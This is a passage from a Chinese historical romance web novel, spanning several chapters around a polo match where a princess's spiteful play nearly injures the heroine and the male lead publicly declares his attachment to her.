“可没说把他家老幺谢绩当彩头吧?” 赵芷宁红了脸,道: “郡主您在说什么呢?” 赵沐昭和陆嘉蕙如往常一般拿她取笑了一顿,几人往球场走去。 赵如昕和赵峥亦到了马场,赵如昕看着谢家小厮牵过来的几匹马,摇了摇头,道: “没有更好的了?” 小厮恭敬道: “禀郡主,这几匹都是侯爷年初时刚刚买入的蒙古马,极是粗壮勇猛。” 赵如昕叹了口气,道: “早知道,就把我的那匹汗血骑来了。” 赵峥摸了摸马浓密的鬃毛,劝道: “不过是打马球而已,又不是狩猎,已经够用了。” 赵如昕撇撇嘴,正看着其中一匹高大些的,却忽的瞥见不远处一匹通体黢黑毛光噌亮的马被人牵了过来,她眼睛一亮,立刻跑了过去: “我要这个!” 却不料身后传来一道清亮的声音: “这位小姐,那是我的马!” 赵如昕转过头,见一个身着霁色箭袖骑服的高俊男子阔步走来,相貌堂堂,眉宇间透着一股英气。 正诧异这人是谁,小厮躬身道: “禀郡主,这马是厉世子自己的。” 说话间,厉书佑已经行至他们身旁,牵过了马,客气道: “此马乃大宛战马,生性桀骜刚烈,不适合女子骑。” “郡主可另选其他温顺些的!” 说罢,微微颔首后,一跃上马,策马离开。赵如昕自幼学骑马,最忌别人瞧不起她的骑术,听闻此话,不甘心地跨上马追了过去。 赵峥怕她惹祸,正要随手拉过一匹马跟去,却忽的看见马球场入口处,一道熟悉的袅娜身影走了进来,他顾不得许多,扔了缰绳跑过去,喊道: “纪姑娘!” 第64章 纪云瑟和魏氏母女刚踏入马球场,就听见有人唤她,几人循声看去,却是赵峥兴高采烈地跑了过来,向纪云瑟道: “纪姑娘,你来了!” 魏氏和纪云惜用好奇的目光打量着这个身着沙青色云锦窄袖短衣,足蹬麂皮长靴,配蹀躞带的俊朗后生,正猜测他的身份,却见纪云瑟微微一福,淡笑道: “世子,好久不见。” 听到“世子”两个字,魏氏母女不由得张大了嘴巴,这至少是风头正劲的侯府以上的勋爵之家才有的,若是像他们纪府的爵位已传了三世,且陛下丝毫没有加恩再传下去的意思,便是到了头,没有世子之说。 纪云瑟很自然地介绍起来: “母亲,这位是涟亲王世子。” 什么?竟是亲王家的? 魏氏愣了片刻,方拉着纪云惜行礼: “见…见过世子。” 纪云瑟又向赵峥淡淡一笑,道: “世子,这是家母和妹妹。” 赵峥眼神看着纪云瑟并没有挪开过,只随便向一旁的二人摆了摆手,笑道: “舍妹也来了,她一直说还要教姑娘骑马,不若跟我一同去瞧一瞧?” 纪云瑟闻言点点头,她早就想找个机会摆脱继母和妹妹了,魏氏见她看着自己似询问意见,想到纪筌的吩咐,也赶紧笑道: “瑟儿,去罢!” 眼见二人并肩远去,魏氏瞬间收起笑容,心中说不出的滋味,一来,她清楚自家这位大小姐若是能得嫁高门,对整个纪府是大有助益的,甚至能惠泽纪云惜也找个好婆家。 但是,她又不想这位不是从自己肚子里出来的长女真的寻得一门好亲事,最好是虽嫁入豪门,却地位低下,不得夫婿爱重,这样,她做为继母的心才能平衡些。 但看赵峥的神色,眼睛都恨不得粘上去,分明是对纪云瑟情根深种,若是真的愿意娶她做正妻,那日后至少是个郡王妃,这让自己情何以堪? 不过,就算世子能看上她的容貌,涟亲王府也不可能同意,魏氏只能这样安慰自己。 纪云惜一副十分羡慕的神色,幽幽叹了口气,拉着魏氏的衣袖,哀怨道: “母亲,若是当初父亲送我入宫给太后侍疾,那不就是我认识这些宫中贵人了……” 魏氏不等她说完,便打断她,道: “你拿什么跟你姐姐比?” “别瞎想了,她若能攀上涟亲王府,你也差不到哪儿去!” 从内心来说,魏氏倒不甚希望自己唯一的女儿像她姐姐一样,为了侯府高嫁了,毕竟若她日后受了什么委屈,他们做为爹娘,是帮不上一点儿的。 找个门当户对的人家,踏实过日子比什么都强。 看到纪云惜瞬间无精打采的模样,魏氏叹道: “你也跟过去瞧一瞧罢!” 纪云惜巴不得一声,立刻追了上去。 赵峥侧头打量着身着素雅衣裙的少女,阳光在她瓷白的脸颊上似泛着荧光,愣愣地看了一会儿后又觉自己失礼,忙转过头目视前方。 纪云瑟正抬手遮着日光,见他似手足无措地不说话,便试图打破尴尬,问道: “咦,怎的没瞧见郡主?” 赵峥指了指马球场,道: “应当是练骑马去了。姑娘出宫后,舍妹说了好几次要去找姑娘,但又怕府上忙碌不便。” 纪云瑟明白,必是他们王府长辈管得紧,不愿让赵如昕随意与她这种名声不好之人交往。今日,他们能不避嫌与她说话已是情分了。 她笑道: “正好,今日不就见着了?” 二人说着话,不远处的赵如昕瞧见他们,也不再与厉书佑争辩,证明自己的骑术了,立刻挥着手往这边跑过来: “纪姐姐!” 她一跃跳下马,马鞭甩给了赵峥,上前拥住了纪云瑟,拍着她的后背,道: “纪姐姐,可想死我了!” “你不知道,你出宫后,我一直想去找你,却总是碰上母妃有事让我去办,拖呀拖,就到了今日。” “今早,我还问哥哥呢,不知你会不会来。” “谁承想,你真的来了!太好了!” 纪云瑟被她的热情惊到了,松开她上下打量,笑道: “郡主似长高了呢!” 赵如昕撇撇嘴,摇晃着她的手臂娇声道: “我都及笄了,还长呢?” “纪姐姐,你看看我,是不是晒黑了?” 纪云瑟认真看了她片刻,道: “不黑,更美了才是真的!” “哎呀!” 赵如昕捂着脸,羞涩道, “纪姐姐就会哄我开心!” 正说笑着,赵沐昭几人骑着马晃悠悠地走过来,看见纪云瑟,轻嗤一声,道: “呦!这位不是纪大姑娘么?” “怎的最近没瞧见你?不入宫看看你那位贵妃好姐妹?” 自从孙雪沅册封以后,凤仪宫就代替养心阁,成了皇帝的寝宫,其他嫔妃更加见不着永安帝,后宫一片怨气,赵沐昭自然也忿忿不平,看见纪云瑟就忍不住要发泄几句。 纪云瑟恭敬行礼: “臣女见过公主,郡主。” 她看赵沐昭这副拈酸的模样,就猜到孙雪沅在宫里深得永安帝宠爱,定是过得很好,把夏贤妃气坏了,心里反而十分受用,不想跟她逞什么口舌之快。 正好纪云惜气喘吁吁地走了过来,她平日里大门不出二门不迈,在家多半也是坐着,刚才只略跑了两步就累得不行,半晌才追到脚程快的纪云瑟,带着几分埋怨地扯着她袖口,说道: “姐姐等一等我嘛,为何走这样快?” 她见这几个贵女的华丽妆扮,就知不是普通人,正巧听见纪云瑟问候赵沐昭,也赶紧跟着行礼: “拜见各位公主,郡主殿下。” 赵沐昭斜眼看向这个身着石榴裙,满头珠翠的女子,轻嗤一声, “哪来的乡巴佬?!” 赵如昕亦只抬了抬手让她起身,便拉着纪云瑟,道: “纪姐姐,跟我去骑马吧!” “我来教你,这些时日我的技艺增进了不少,保管你能学会!” 纪云瑟讪讪笑道: “郡主,我今日的衣裳,恐不适合骑马。” 再说,自从那次马发狂后,她已有了心理阴影,看见这庞然大物就发怵。 赵如昕亲昵地挽着她的手臂,自然而然地拥着她和赵峥一同走开,上下看了她一眼,道: “不怕,不过是骑马走一走而已,又不是狩猎,你穿裙子也无妨。” 赵峥亦热心道: “我帮你牵着笼头,如昕教你,绝不会有事。” 纪云瑟不忍拂了他们兄妹两个的好心,况且,她若是逃走的话,说不定还真得学会骑马,便狠下心,点点头,道: “好!” 赵如昕扶着她上了马,小心地教她御马技巧,又有一旁的赵峥不断补充,纪云瑟亦努力克服内心的恐惧,深呼吸放松了之后,的确循到了一些规律,渐渐的能自己握着缰绳调整方向。 赵如昕不住夸赞: “我就说嘛,纪姐姐聪明,一下就能学会!” 赵沐昭见他们三人走远,冷哼一声,策马转头,正好看见凉亭旁的霁色身影,瞬间换上笑容,扬鞭跑了过去。 厉书佑正和今日的东道主谢绩在说话,谢绩拍了拍他的马,道: “不错,是匹好马!” 厉书佑理了理马的鬃毛,笑道: “那是自然,这匹绝影跟了我多年,可谓战功赫赫呐!” 又道:“怎么不见子睿?他今日也有公务?” 谢绩道: “指挥使大人你还不了解?这种聚会他压根不会来。” 正说着,赵沐昭已经下马走了过来,二人抱拳行礼: “公主殿下。” 赵沐昭先看向谢绩,见他明显没有穿骑服,故意道: “谢绩,陪本宫打一局如何?” 谢绩忙道: “殿下,今日祖母特地吩咐让我好好待客,恐无闲暇,您还是找别人吧!” 赵沐昭看向一旁的厉书佑,道: “厉世子呢?你这是准备好要上场的吧?” “不如,咱们组个队,如何?” 她浅笑嫣嫣地看过来,厉书佑本不想与这个刁蛮公主扯上关系,却听她与一旁的陆嘉蕙道: “你去把赵如昕和赵峥兄妹俩叫来,咱们跟他们打!” 厉书佑看了一眼身旁的谢绩,似是给他面子,点头应了一声“好。”便与他们一同离开。 有小厮过来在谢绩耳畔言语了几句,他愣了愣,道: “你在此好好盯着各位主子,我过去一趟。” 几人策马去取了鞠杖后,找到赵峥兄妹,六人组了两队开赛,赵沐昭和陆嘉蕙厉书佑一队,赵峥赵如昕和赵芷宁一队。 纪云瑟得以休息,站在场外的树荫下看着,纪云惜也小跑着跟过来,闷闷地用小手绢扇了半晌,有些不满,道: “姐姐,你不是跟公主郡主她们很熟么?” “为何不为我引荐引荐?我看,她们根本都不睬我!” 纪云瑟也不拐弯抹角,轻哼一声,直言道: “你以为我是个什么不得了的人物?” 纪云惜嘟嘴道: “你不是给公主做了许久的伴读么?” “而且,那位什么郡主待你那样亲近。” “我看,分明就是姐姐你不想让我出头……” 纪云瑟差点要被她蠢笑了,她出不出头跟自己有何关系? 纪云惜见她欲走,怕她真生气自己更没了盼头,忙拉住她,换上撒娇的语气,道: “姐姐,是我说错话了,您别跟我计较,好不好?” 纪云瑟不想理她,继续往外走,道: “我去找水喝。” 纪云惜又拦在她面前,陪笑道: “不行!你说不生我的气了才能走。” 经过这些时日在家所受的冷遇,纪云瑟对这个被宠坏的妹妹是一点儿耐心都没有了,她沉下脸,道: “你让开!” 正要去把她拦在前的手拨开,却忽的瞧见纪云惜骤然面露惊恐,抱着脑袋往下蹲,纪云瑟顺着她的目光回头看过去时,一团阴影向她飞驰而来,根本来不及躲避! 第65章 谢绩听小厮说晏时锦已至马球场外,眉心一跳,也只得过去相迎,勉强挤出一抹笑,道: “指挥使是特来找属下的?不会又是通州那边有什么事吧?” “可是,今日属下休沐,祖母又特别吩咐了我……” 晏时锦淡淡瞥了他一眼: “没有公务我就不能来?” 谢绩自是震惊,毕竟他这位上司平日里除了几位重要长辈的寿宴会露个面,像这种马球会 雅集什么的,从不现身,他不禁抬眼看了看天,今日的太阳不是打西边出来的吧? 谢绩正想问是否要给他安排马匹上场打两局,但见他身着碧玉色窄袖长衫,如同一个温润的书生模样,根本不便骑马,只得缄了口。 但还是忍不住,小声地问跟在后面的紫电: “你家世子今日很闲?” “……总不会是有什么秘密公务吧?” 紫电并不言语,与他抱拳行礼客气一笑,快走两步跟了上去。 日光煦暖,晏时锦在马球场上身着各式华美骑装的男女中,一眼瞧见了栅栏边的雪青色纤娜身影,径直往那边走去。 球场上的两队正激烈对战,赵如昕年纪虽小,但骑术极佳,与马儿只磨合了几圈就轻松驾驭,如同一只矫健的小豹子,在场上穿梭自如,总是能轻松绕过赵沐昭的拦截防守,将球传给赵峥。 赵峥胜在力气大,一击便把球远远地传给蹲守在球门不远处的赵芷宁,赵芷宁虽骑术不算太好,但她命中率高,接球后稳稳一击,球应声入洞。 而赵沐昭和陆嘉蕙一队却略显急躁,厉书佑与她们彼此又不算熟悉,配合生疏,故而屡屡错失良机。 赵沐昭脸色愈发黑沉,却不肯怪在厉书佑身上,只能朝着陆嘉蕙发泄一腔怒意,握紧缰绳追在她一侧,不耐道: “你到底会不会打?” “打了这许多年,连个赵如昕都不如!” “要你何用?” 陆嘉蕙心里也憋着一股火,又不敢说是厉书佑配合不当,只能愤愤地看着赵芷宁,道: “分明是有人胳膊肘往外拐!” “整日里屁颠屁颠跟着咱们,关键时候帮着外人!” 赵沐昭冷哼一声,道: “如今说这个有何用?有本事你打赢他们!” 陆嘉蕙闷声道: “说得容易,公主,您瞧瞧,咱们连球都碰不着!” 赵沐昭蹙紧眉头,看着对方的比分频频高走,咬牙道: “球打不着,人也打不着么?” 陆嘉蕙看着她眼眸中的狠厉之意,方明白她说的是什么,心中一凛,忙道: “公主,这…这不好吧……” “少废话!” “你快过去抢球!” 陆嘉蕙不敢逆她,只能答应着飞奔过去。 赵沐昭从来不是个轻易认输之人,更不想第一次与厉书佑组队,就在他面前丢脸,她冷哼一身,夹紧马腹,提速向正在抢球的几人冲过去, 趁他们的目光都落在球上时,她猛地一挥鞠杖,击向赵如昕的马腿,但赵如昕在马背上向来是眼观六路,反应迅速,余光瞥见她的杆子扫过来,马头往旁边一侧就躲开了。 赵沐昭的鞠杖没收住力,一下打在了赵芷宁的腿上,赵芷宁正当抢到球,吃痛之下鞠杖一歪,击中的球往门洞的另一侧飞了出去,直接冲向场外。 纪云瑟眼睁睁地看着向她疾飞而来的球,来不及做反应,本能地闭上了眼,却被突然的力道拦腰揽过,待她睁开眼时,整个人已经被晏时锦抱在怀里。 “你没事吧?” 纪云瑟尚在愣神中,目光从男子熟悉的下颌移至他的黑眸,才反应过来,轻呼一口气,摇了摇头。 原本在栅栏外看比赛的宾客们围上前瞧热闹。 众人聚集,晏时锦却没有要松开怀里人儿的意思,蹙眉盯着一旁的马球场,面色微黯。 倒是纪云瑟即刻反应,用力挣开他。 晏时锦眯眼看了看避嫌的少女。 赵如昕等人见状都跑了过来,赵峥从马上一跃而下,行至纪云瑟面前,一时情急,握着她的肩膀四下打量,焦急道: “纪姑娘,你怎么样?” 纪云瑟目光瞥过被他扒拉开的晏时锦,十分识趣地往后退了一步,脱离他放在自己肩膀上的手,扯了扯唇角,道: “世子,我没事。” 晏时锦黑沉着脸行至二人中间,整个身体挡在纪云瑟的面前,赵峥有些莫名其妙地看了他一眼,还想绕过他再与纪云瑟说话,却见赵沐昭等人已经驾马过来。 目睹了整个过程的谢绩做为今日的主家,上前向赵沐昭行礼,客气道: “公主,虽说球不长眼,但打球之人还是该多小心一些,万一失手伤人就不好。” 他身为羽林卫统领,又是东道主,说这一通话自是情理之中,但赵沐昭心情不好,瞥了一眼见众人围住的是纪云瑟,更是不耐烦,道: “这不是没人受伤么?” “再说,谁让她站在此处?球不长眼睛,她也没长眼睛?” 赵如昕先帮纪云瑟争辩了起来: “纪姐姐明明站在栅栏外,再说,是公主你挥杖打了芷宁,否则,那球无论如何也不会往这边跑!” 赵沐昭眼见厉书佑驾马过来,辩解道: “别胡说!” “你哪只眼睛看见本宫打人?” 她转头看向身侧一直捂着大腿的赵芷宁,问道: “芷宁,是本宫打了你么?” 赵芷宁对上她慑人的目光,忙摇头,道: “怎么会呢?是我自己不小心,手一抖,就把球打偏了。” 看见晏时锦和谢绩在旁,她识时务地向纪云瑟带着两分歉意道: “不好意思,纪姑娘,没伤到你吧?” 赵沐昭看向赵如昕,得意道: “听见了么?” “与本宫无关!” 又瞧了一眼纪云瑟和缩在她背后,明显被这一通操作吓傻了纪云惜,向谢绩道: “以后,你们办马球会别把什么阿猫阿狗都邀来,娇滴滴的什么都不会,白给人添堵!” 谢绩正要开口,就听见一道沉厉的声音响起: “公主怎可挥杖打人?” 晏时锦顿了顿,扫过赵沐昭愕然的神色,继续道: “马球赛虽只是消遣,结果也未伤及无辜,但公主此举却有失体统,若是不引以为戒,日后难免酿成大祸。” “谢绩,公主不宜再上场。午膳过后,你亲自送公主回宫,请夏贤妃严加管教,莫让公主再任性妄为。” 赵沐昭的脸色由震惊逐渐变得铁青,但见晏时锦目光冷冽,也不敢反驳,毕竟他身为京卫司指挥使,说出这番话一点儿都不僭越,更何况他还是自己的表兄,在永安帝那儿的分量怕是要超过她这个亲生的公主! 她咬着唇角,只能将愤意发在纪云瑟身上,扔了鞠杖和马鞭,怒气冲冲地看向她。 魏氏一早看见了这边的异样,匆忙赶过来,先拉着纪云惜满身打量,焦急问道: “惜儿,怎么回事?” “你可有受伤?” 纪云惜原本就没怎么与皇亲贵胄打交道,更是从未见识过这些人毫不客气地交谈争辩,早就吓傻了,直到魏氏摇晃了她几下,才清醒过来,摇了摇头,道: “我没事。” “是姐姐,差点被球打了脑袋。” “幸好这位大人救了姐姐。” 她伸手在后悄悄指了指晏时锦,虽不知其身份,但看他负手而立,通身冷肃令人不敢靠近的气质,以及周围几个皇亲贵胄和主家 谢绩都似对他颇为忌惮的模样,准是高官没错。 果不其然,母女俩瞪大了眼睛,立马见识了晏时锦冷声教训当朝最尊贵的公主,还说要派人送她回去领罚的场面。 但察觉到曦和公主不善的目光向她们看过来,魏氏浑身一凛,心道,不会是公主被罚心里有气,要找纪云瑟的麻烦吧? 老天爷,可别殃及到她们母女身上! 见情况不对,魏氏悄悄扯了扯纪云惜的衣袖,示意她赶紧离开这个是非之地,又不禁抱怨那丫头真是个惹祸的,还没沾着她的什么好处呢,倒被她连累让公主记恨上了! 公主是什么人?她纪云瑟就算有涟亲王府世子护着也不顶事啊! 纪云惜半点未觉危险,还想留在那儿看热闹,却被魏氏强行要拽走,母女俩低语拉扯间,忽的听见那位“高官”又开了口: “怎么,公主还有何异议?” 晏时锦自然也看出了赵沐昭的心思,淡然道: “公主若是觉得我的处置有失公允,尽可向陛下言说,千万莫要牵连他人。” 说罢,他转头看向纪云瑟,微勾唇角,温言道: “你想学骑马,为何不与我说?” “我教你。” 他的语气骤然低缓,甚至谈得上温柔,但每个字都清晰地进入了在场众人的耳朵,大家还没明白过来是什么意思,又见他向谢绩道: “你家有什么好马?我带云瑟去挑一匹。” 再蠢笨的人都听懂了这话的含义,目光齐刷刷看向了纪云瑟,震惊且耐人寻味。 第66章 这可是晏时锦! 众人对此情此景的震撼,与永安帝悄无声息地册封名不见经传的孙氏为贵妃,且独宠她一人这件事相比,有过之而无不及! 其他的世家公子哥,出身尊贵的也不少,譬如谢绩等人,平日里性格皆随和,与贵女们碰上,不管熟悉不熟悉,都会客气地交谈说话,只有晏时锦,根本就没见他正眼看过哪位姑娘小姐。 原本,他做为京城中最为瞩目的未婚男子,不管从相貌还是地位来说,都是闺阁女儿争相追捧的对象,有许多人明里暗里,或是当面搭话欲引起他的注意,或是通过亲近晏国公府的长辈,试图博取他的青睐,但最终都是无功而返。 可是今日,这位从未给过任何贵女一个眼神的国公世子,竟然主动说要教一个女子骑马! 众人看向纪云瑟的目光十分复杂,要说更多的,自然是审视。 结合前些时日京城的传闻,又多了几分说不明道不清的意味深长,这女子真是有本事呐! 在皇宫里待了这么长的时日,没有勾上永安帝,一出宫,倒是把京中最矜贵的晏国公世子给拿下了,这他娘的是什么好命? 不过,更多的是根本不看好纪云瑟,世人皆知晏国公府老夫人的脾性,是断断不会允准这样一个家世不高,品性又有争议的女子做世子夫人,最多是拗不过世子喜欢,做个侧室罢了! 已经行至人群外围的魏氏,听见那位年轻隽挺的“高官”毫不避讳地表明与纪云瑟的亲密关系,顿时停下了脚步,瞅见众人复杂各异的神色,不禁指着晏时锦悄声向身旁的一位妇人打听: “不知这位大人是……” 妇人一脸不可思议地看向她: “晏国公世子你都不认识?” 魏氏张大了嘴巴半日没有合拢。 什么?晏…… 纵是再孤陋寡闻也听过这位的名号。 魏氏难以置信地看向纪云瑟,涟亲王府世子就罢了,这丫头竟然连太后的心头肉,皇帝的亲外甥,身份最尊贵的国公世子晏时锦都搭上了? 她虽未亲自抚养,但也算看着这丫头长大,究竟是在哪儿学的狐媚本事?就凭那张脸? 谢绩也是用了一小会儿来消化晏时锦说的话,对上这位顶头上司随意中带着几分理所当然的神色,忙点点头: “有,自然有好马!” “指挥使,是您亲自去挑,还是我让人牵过来,给…咳…给纪姑娘选一选?” 晏时锦自然地俯首垂眸看向纪云瑟,耐心询问道: “你觉得呢?” 男子身着浅衫,衬得原本就白皙俊朗的容颜更加精致温润,但在纪云瑟看来,这厮就是一匹披着羊皮的狼。 分明是故意在大庭广众之下暴露他们两个暧昧的关系! 她从晏时锦表面堪称体贴的眸光中,读出了几分胁迫的意味,但众目睽睽,她只能装作羞涩地弯唇一笑,道: “还是过去选吧!” 毕竟到了此刻,她无论说什么做什么,都无法撇开与这厮的关系,京城不日就会把这事添油加醋地传开。 不过,相比于以此逼她嫁给他,恐怕晏时锦更多的是想利用其他人的嘴去胁迫他家的老夫人。 但是,纪云瑟转念一想,若是他能成功,他们两个真的走到什么议亲的阶段,父亲达到了目的,或许就会对她宽松一些,她才有机会经常溜出去,与方叔商量逃离京城之事。 两人与谢绩一同在众人各异的目光中离开,赵峥尚在惆怅中,赵如昕侧头看了他一眼,叹气道: “唉,哥哥,别想了,你没机会了!” 她是真希望貌美温柔的纪云瑟能当她的嫂子,只不过…… 赵如昕的目光从憨傻呆愣的赵峥,移至已经走远但一看就甚是般配的男女背影上,无奈摇摇头,拉了拉他的手臂,道: “咱们走吧!” 赵沐昭也刚刚从惊诧中晃过神来,看向陆嘉蕙,依旧有些不确定,道: “晏时锦…他,是什么意思?” 陆嘉蕙撇撇嘴,冷哼一声,道: “能是什么意思?” “咱们这位表兄,瞧上公主您的美人伴读了呗!” “什么?” 都疯了吧! 赵沐昭攥紧了拳头,丹蔻深深嵌入了掌心,才吃痛松开了手。 纪云瑟,她凭什么? 就因为她长了一张狐媚子脸,竟把她身边的男子勾引了个遍?真是个祸害! 从前,她在自己宫里,纵然有太后照拂,赵沐昭也不是不敢动她,可是,如今她攀上了晏时锦,这个人出了名的铁面无私不好惹,刚才分明又是警告自己,要护短的意思,赵沐昭倒是真的忌惮了。 晦气! 此刻她的心情糟糕透顶,压根顾不上厉书佑在不在旁,除了父皇,就是天王老子来了,她也不想买账,气冲冲地丢下一句话,拂袖离开。 “走,回宫!” 众人见公主和几位郡主陆续离开,热闹也瞧完了,皆一面窃窃私语,一面散去。 纪云惜一脸懵,看向神色复杂的魏氏,道: “母亲,姐姐她到底是跟涟亲王世子还是…晏世子…” 魏氏轻嗤一声: “这你还看不出来么?” 有了晏时锦,谁还会要什么涟亲王世子? 魏氏竟突然生出了与纪云惜如出一辙的想法,早知是攀上晏时锦,而不是年纪大的永安帝,当初她就该力争让自己的女儿代替纪云瑟入宫侍疾! 那么如今,和晏时锦并肩走在一起的,不就是她的惜儿? 都是侯府的嫡亲女儿,那丫头还能有什么别的本事?不过就是是看容貌而已,姐姐确实长得标致些,但她们到底是亲姐妹,算是有几分相似,妹妹能差到哪里去? 这可是嫁给晏时锦,日后袭了爵就是正经的国公夫人,还不比当皇妃好多了? 谢绩身为男子,自然觉得晏时锦到了这种年纪,有个相好的姑娘是正常的,毕竟当日在灵岩寺那种地方,他的屋子里都能藏着个女子,如今不过是公开护着相好,有什么奇怪的? 不过意外的是纪云瑟而已,话说,他们两个什么时候看对眼的? 他悄咪咪打量了一眼晏时锦,慢走两步,侧过头隔着他看向纪云瑟,终是先开口打破有些凝滞的气氛,道: “抱歉,纪姑娘,是我招待不周,让你受惊了!” 纪云瑟淡笑一声: “谢统领客气了。” 又是沉默…… 见晏时锦不言语,谢绩再怎么是个爱说话之人,也不好多说,待领着二人到马棚,由晏时锦亲自挑了一匹个子十分高壮的马匹后,便赶紧托辞离开。 眼见他走远,晏时锦拉住缰绳,看向纪云瑟: “过来上马!” 纪云瑟瞧了他一眼: “你真的要教我?” 晏时锦挑了挑眉: “不然呢?” 见她似笑非笑一副表情不自然的模样,男子眸色不明 : “赵峥能教你,我教不得?” 纪云瑟扯了扯唇角,落在晏时锦眼中就是心虚的模样,他也不管四周有无人注意,一把将她抱上了马背,递了缰绳给她,道: “小心握紧!” 纪云瑟刚才虽骑了两圈,但并未完全适应,被骤然升高的视野惊得轻呼了一声,但见这厮只是象征性地闪过一丝关切后便是幸灾乐祸的神情,故意道: “涟亲王世子若是教我,才不会如你这般粗暴!” “你确定?” 男子见她已握住缰绳,随手拍了一下马尾,马便骤然奔跑起来,纪云瑟惊叫一声吓得花容失色,谁料下一瞬就觉得身下的马背一沉,这厮已经稳稳坐在她身后,环过她的手臂控制住马,还装模作样地扔下了一句疾呼: “小心!我来救你!” 纪云瑟: “……” 两边的树木急速向后撤,纪云瑟慌忙闭上了眼,身后的始作俑者附在她的耳畔轻语: “刚才那句话说错了,给你个机会,重新说。” 纪云瑟窝在他的怀里不敢乱动,一边翻白眼一边认怂: “你比他温柔,教得比他好。” “吁……” 马儿停在郊外一处小树林里,晏时锦一跃下马,又将她抱了下来,纪云瑟扶着一棵树干深深地平复了几口气,见他一副得意的模样,忍不住道: “今日,你是故意的吧?” 晏时锦平静地理了理缰绳,任由马低头吃草,道: “不然,还让赵沐昭随意欺负你?” 纪云瑟轻嗤一声: “她有哪一次成功过?” 她不信这厮会不知道自己跟公主从前交过的手,谁胜谁负,况且,她如今已出宫,根本不在意赵沐昭小孩子打闹的把戏。 晏时锦牵着马行至她面前,道: “如今不同,你是我的人,她连这个念头都不该有。” 纪云瑟: “……” 晏时锦看出她眸色中的异样,微眯着眼,道: “莫非你有什么顾虑?不想让人知道我们的关系?” 纪云瑟脑筋一跳,突然反应过来: “总不会,我能接到今日这马球会的邀帖,也是你的授意?” 晏时锦淡然顺了顺马的鬃毛: “你想学骑马,这个机会正好。” 纪云瑟默默腹诽,这厮若想教,在哪里不行,非要大庭广众之下教她? 晏时锦行至她面前,淡淡扫过她脸上的不自然: “你到底在顾虑什么?” “是赵峥……” 纪云瑟一激灵,忙打断他: “别胡说,我和他什么也没有!” “这不是…你…你家人还没同意嘛!” 晏时锦眉眼松了松,握着她的肩膀,道: “我早已说过,你无需忧心,今日我会入宫禀明皇祖母和陛下,再择吉日上贵府提亲。” “啊?” 纵是有了心理准备,纪云瑟还是觉得来得太快,这样的话她逃走的时间就不多了,但她连离开的法子都没想到呢!晏时锦垂眸看向她: “你可要随我一同入宫看皇祖母?” “不要!” 纪云瑟不假思索,她不敢想象跟这厮一同去见太后是什么尴尬场景。 对上男子微黯的黑眸,纪云瑟低下头故作羞涩道: “我下次自己去。” “也好。” 晏时锦痛快答应,但他不是瞧不出她的小心思,想打退堂鼓,门都没有! 顿了顿,他将人儿搂入怀内,在她耳畔轻语: “总归,咱们日后有的是机会一同入宫。” 暖暖的日光映着少女光洁白皙的脸庞和黑亮的鬓发,男子忍不住替她拢了拢: “成婚后,你想住哪儿?” 纪云瑟看着他眨了眨眼,这厮的思绪都到这里了? “长辈们自然希望咱们留在府里,但你若是不喜欢,可以另住一处宅院,正好,我也喜清静。” “随你。” 纪云瑟赶紧转移这个危险的话题,行至马侧, “你不是要教我骑马么?我想快些学会。” 对上他探究的眼神,她识趣道: “小郡主说秋狝时,要跟我组队呢!” 她得赶紧学会了,早些远离这厮! 晏时锦弯了弯唇,将她抱上马背,自己也随即跃了上去,纪云瑟回头瞧了他一眼: “不是教我骑马么?你怎么…” 男子毫不心虚地拥紧娇软的少女,拉住缰绳挥了一鞭子: “你不是要速学么?这就是我特地为你量身定制的,体验式教学法。” 第67章 不管是真心还是假意,众官眷贵女再见到纪云瑟时,态度都有了转变,至少面上都是客气的。 连带着魏氏也挺直了腰背,不再是四处陪笑硬上前凑热闹,却被人忽视甚至鄙夷。 用了午膳后各自回府,她兴奋的神色中带着一丝埋怨,亲昵地拉着纪云瑟的手,道: “这样的大事,瑟儿不该瞒着家里。” 纪云瑟赧颜一笑: “其实,我也不知晏世子有此意。” 她瞧了一眼这位继母复杂的神色,忽的又道: “或许,只是晏世子路见不平,帮我说话而已,并无它意呢?” 魏氏一愣,忙道: “那如何使得?他既在大家伙儿面前说了那些话表明态度,断没有收回的道理。” “瑟儿放心,此事,侯爷和我会为你周全。” 纪云瑟抚脸一笑: “有劳母亲费心了。” 几人行至自家马车旁,纪云惜正要问他们是如何认识,她这姐姐又是如何拿下那位京城最难折的高枝,却见赵峥走了过来: “纪姑娘,我有几句话,不知能否借一步说?” 纪云瑟正好也打算跟他说清楚,征得魏氏同意后,向他点点头,道: “好。” 两人立在路旁的树荫下,看着明眸雪肤的少女,赵峥终是鼓起勇气,问道: “是不是子睿表兄他,强迫你的?” 纪云瑟倒是诧异他会这么想,忙摇摇头: “不是。晏世子他,不是那样的人。” 赵峥抿了抿唇,不可置信道: “姑娘真的心仪于表兄?” 纪云瑟眨了眨眼,勉强扯出一抹笑: “是。” 比起扭扭捏捏模棱两可,直截了当的回答更容易让他死心。纪云瑟十分明白,就算没有晏时锦,她也不可能跟了赵峥。 赵峥显而易见地泄了气,纪云瑟也不知该说什么,不过,好像也轮不着她费心,立刻就有一道挺阔的身影移步过来,挡在她和赵峥之间。 晏时锦负手站在纪云瑟身旁,看向赵峥,淡淡道: “你找云瑟有事?” 赵如昕早追了过来,拉着赵峥向晏时锦笑道: “表兄,是我让哥哥来问纪姐姐一句话,没什么要紧事。” 又向纪云瑟告辞一声,道: “纪姐姐,我有空再去寻你!” 纪云瑟淡笑一声,点点头,道: “好,郡主和世子慢走!” 目送着赵如昕叹着气将痴愣的赵峥拉走,晏时锦道: “需不需要我送你回去?” 纪云瑟忙摇摇头,她怕父亲受不了这样大的“惊喜”。晏时锦并不强求,道: “随你,那我便入宫去看皇祖母。” 纪云瑟点点头,忽的又反应过来,对上他颇具意味的眼神,匆忙上了自家马车,逃之夭夭。 果不其然,第二日午后,就有寿康宫出来的小内监,说是奉太后的旨意,宣纪云瑟入宫觐见。 才刚入秋的天气,余暑未消,但寿康宫内却已经添了个炭盆,在温热中熏染得屋内的药味和艾烟的余味更加浓馥。 周嬷嬷亲自出来打着帘子,迎纪云瑟进入殿中,悄声道: “不知姑娘来得这样快。” “娘娘还未醒 来呢。” 纪云瑟放轻了脚步入内,一眼瞧见了歪斜在暖炕上的太后,看着她病中瘦削毫无血色的面容,不禁一阵潸然。 “姑娘先坐一会儿,娘娘睡不沉,一会儿就会醒。” 周氏给她奉了一碗茶来,示意她坐在太后身旁的圈椅上。 纪云瑟并未落座,静静站在炕边,目光一直停留在太后身上,轻轻为她掖了掖被角,不禁问道: “娘娘最近胃口不好么?为何瘦了这么多?” 周氏叹了口气,看着太后,却并未回答,纪云瑟见她一脸愁容,明白了几分。 